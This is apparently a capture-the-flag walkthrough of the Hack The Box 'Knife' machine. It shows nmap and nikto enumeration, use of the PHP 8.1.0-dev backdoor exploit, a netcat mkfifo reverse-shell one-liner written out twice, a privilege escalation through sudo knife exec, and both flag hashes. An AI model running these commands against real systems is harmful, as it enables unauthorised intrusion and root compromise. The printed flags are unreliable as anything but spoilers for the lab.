

enumeration

```
nmap -sCTV -oN /home/kali/machines/active/knife/nmap.txt 10.10.10.242
```

Starting Nmap 7.91 (<https://nmap.org>) at 2021-06-03 10:15 EDT

Nmap scan report for 10.10.10.242

Host is up (0.32s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)

| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)

|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

|_ http-title: Emergent Medical Idea

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 58.77 seconds

vuln script yeilded no result

currently known open ports are

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2

80/tcp open http Apache httpd 2.4.41

and so we will attempt to go to port 80 page



At EMA we're taking care to a whole new level . . .

Taking care of our provider

going to the webpage we found this and also nothing in the source code so it makes me think of 2 thinks either domain based routing or gobuster

going to knife.htb landed in same page so lets run gobuster and nikto

here we got some results from gobuster

```
/159372.php      (Status: 503) [Size: 374]  
/tischlampen.php (Status: 503) [Size: 374]  
/solorzano.php  (Status: 503) [Size: 374]  
/171539.php     (Status: 503) [Size: 374]  
/badezimmer.php (Status: 503) [Size: 374]  
/bizopportunities.php (Status: 503) [Size: 374]  
/blues-music.php (Status: 503) [Size: 374]  
/server-status  (Status: 403) [Size: 274]
```

lets go to this directories and see the results

none of the path yeilded any result so lets see further

and after hours of enumeration the exploit comes out to be in

```
+ Target IP: 10.10.10.242
+ Target Hostname: 10.10.10.242
+ Target Port: 80
+ Start Time: 2021-06-03 10:29:12 (GMT-4)
-----
+ Server: Apache/2.4.41 (Ubuntu)
+ Retrieved x-powered-by header: PHP/8.1.0-dev
+ The anti-clickjacking X-Frame-Options header is not set. This
+ The X-XSS-Protection header is not defined. This
+ The X-Content-Type-Options header is not set. This
+ No CGI Directories found (use '-C all' to force check all)
+ Web Server returns a valid response with junk HTTP
+ 7864 requests: 0 error(s) and 5 item(s) reported
+ End Time: 2021-06-03 11:01:33 (GMT-4) (
```

+ Retrieved x-powered-by header: PHP/8.1.0-dev

here PHP/8.1.0-dev

lets google it and see

PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution

and we got the exploit

lets run it

and running the exploit we got the shell directly

```
(rootkali)-[/home/kali/machines/active/knife]
# python3 exploit.ph
Enter the full host url:
http://knife.htb/index.php

Interactive shell is opened on http://knife.htb/index.php
Can't access tty; job control turned off.
$ whoami
james

$
```

after running reverse shell on machine we got the shell

```
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 1234 >/tmp/f
<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
```

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 1234 >/tmp/f
```

and then we upgraded it to a complete shell

```
python3 -c
'import
pty;
pty.sp-
awn("/-
bin/-
bash")'
```

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
james@knife:/$ ls
bin  cdrom  etc  lib  lib64  lost+found  mnt  proc  run  snap  sys  usr
boot  dev  home  lib32  libx32  media  opt  root  sbin  srv  tmp  var
james@knife:/$
```

now we will grab the user flag and try to root it

```
james@knife:~$ cat user.txt
dde53b3e0ea16ef76edd6b8474a499fc
james@knife:~$
```

dde53b3e0ea16ef76edd6b8474a499fc

and we will look into shadow file for root password

```
james@knife:/usr/bin$ cd /home/james/
james@knife:~$ ls
LinEnum.sh  shell.sh  upc.sh  user.txt
james@knife:~$ cat shell.sh
system('/bin/bash')
james@knife:~$ python3 shell.sh
Traceback (most recent call last):
  File "shell.sh", line 1, in <module>
    system('/bin/bash')
NameError: name 'system' is not defined
james@knife:~$ echo "system('/bin/bash')> exploit.sh
james@knife:~$ ls
LinEnum.sh  exploit.sh  shell.sh  upc.sh  user.txt
james@knife:~$ sudo knife exec exploit.sh
root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/home/james# whoami
root
root@knife:/home/james#
```

then we have to do this step

and we have root

lets own it

```
root@knife:~# cat root.txt
b8764300e633b33d84dfb8717bf719b9
root@knife:~#
```

b8764300e633b33d84dfb8717bf719b9

hence pwned

